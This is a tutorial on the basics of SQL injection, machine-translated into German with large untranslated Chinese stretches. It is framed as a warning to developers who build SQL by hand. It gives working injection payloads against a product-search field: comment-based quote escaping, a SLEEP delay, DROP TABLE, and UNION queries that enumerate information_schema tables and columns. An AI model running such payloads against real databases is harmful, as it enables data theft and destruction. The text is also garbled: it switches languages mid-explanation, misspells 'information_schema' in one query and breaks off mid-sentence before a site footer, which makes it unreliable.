Grundprinzipien der SQL-Injection
Die WEB-Technologie entwickelt sich mit jedem Tag weiter, das traditionelle Handwerk, SQL mit bloßen Händen zu buchstabieren, jedoch schon immer noch bei vielen Entwicklern beliebt. Denn im Vergleich zum Erlernen eines komplexen Satzes von ORM-Regeln ist die manuelle Ausführung bequemer und intuitiver. Normalerweise müssen Leute, die selbst SQL schreiben, gehört haben, dass SQL-Injection gefährlich ist, aber sie denken immer bei sich: Meine SQL-Anweisung ist so einfach, dass sie nicht injiziert werden kann.
Nehmen Sie sich 5 Minuten Zeit, um dieses vollständige Beispiel zu lesen, und wagen Sie von nun an kein Risiko mehr.
Einfaches Szenario
Es gibt eine WEB-Schnittstelle, die die Eingabe von Produktnamen ermöglicht und entsprechende Informationen zu Preis, Produktionsdatum und Produktionsstandort anzeigt. Geben Sie beispielsweise „Hammer“ ein, um Folgendes anzuzeigen:
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
Wir überspringen den Prozess der Erstellung einer Websuchoberfläche und konzentrieren uns direkt auf den wichtigsten Teil: SQL-Injection.
Wenn Sie die obige Funktion implementieren möchten, können wir ungefähr davon ausgehen, dass die vom Server verwendete SQL-Anweisung wie folgt lautet:
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
wobei ? bedeutet, dass wir die spezifischen Informationen derzeit nicht kennen Tabellenname und Feldname, und diese SQL ist eindeutig. Was manipuliert werden kann, ist der Eingabeinhalt in einfachen Anführungszeichen „%Hammer%“. Wenn wir direkt ein einfaches Anführungszeichen in das Suchfeld eingeben. Das heißt, es wird zu
select ? from ? where ? Like '%'%';
. Dieses Zusammenfügen führt zu einem SQL-Syntaxfehler und es werden keine Ergebnisse erhalten. Wir müssen --
verwenden, um das letzte einfache Anführungszeichen auszukommentieren. Auf
select ? from ? where ? Like '%'; -- %';
--
folgt der Kommentarinhalt (Sie können auch #
verwenden), damit Sie alle Produktinformationen erhalten. Bisher gibt es noch kein Gefahrensignal.
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
Paring Knife | 10.98 | China | 2019.11.11 |
Boning Knife | 19.98 | China | 2019.01.01 |
Probieren Sie es aus und
Behalten Sie den erweiterbaren Teil mit einfachen Anführungszeichen im vorherigen Schritt bei. Versuchen wir es mit einer einfachen Verzögerungsanweisung:
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
Zu diesem Zeitpunkt dauert es 2 Sekunden, bis die Abfrage das Ergebnis zurückgibt. Wenn die Zeit verlängert wird, verwenden Sie das Skript, um mehrmals abzufragen, und der Datenbankverbindungspool kann sein in einem Rutsch wiederhergestellt.
Natürlich gibt es noch zerstörerischere!
select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
Sie können die Tabelle/Datenbank direkt löschen. Wie erfahren Sie, welche Tabellen sich in der Datenbank befinden (d. h. wie ermitteln Sie xxxx im vorherigen SQL-Satz)?
Machen Sie mit Union, was Sie wollen
Wir müssen wissen, welche Tabellen diese Datenbank hat! Nur so können Sie nützliche Informationen erhalten.
Mit Union können Sie die Inhalte verschiedener Tabellen zusammenfügen. Probieren Sie es aus:
select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
1 | 2 | 3 | 4 |
可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。
Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。
select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
authors | hawkeye | 3 | 4 |
products | hawkeye | 3 | 4 |
user | hawkeye | 3 | 4 |
.... | .... | 3 | 4 |
现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。
看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。
select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
id | hawkeye | 3 | 4 |
name | hawkeye | 3 | 4 |
price | hawkeye | 3 | 4 |
address | hawkeye | 3 | 4 |
updated_at | hawkeye | 3 | 4 |
所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):
select name,price,address,updated_at from products where name like '%Hammer%';
通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表
Das obige ist der detaillierte Inhalt vonVerstehen Sie schnell die Grundprinzipien der SQL-Injektion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!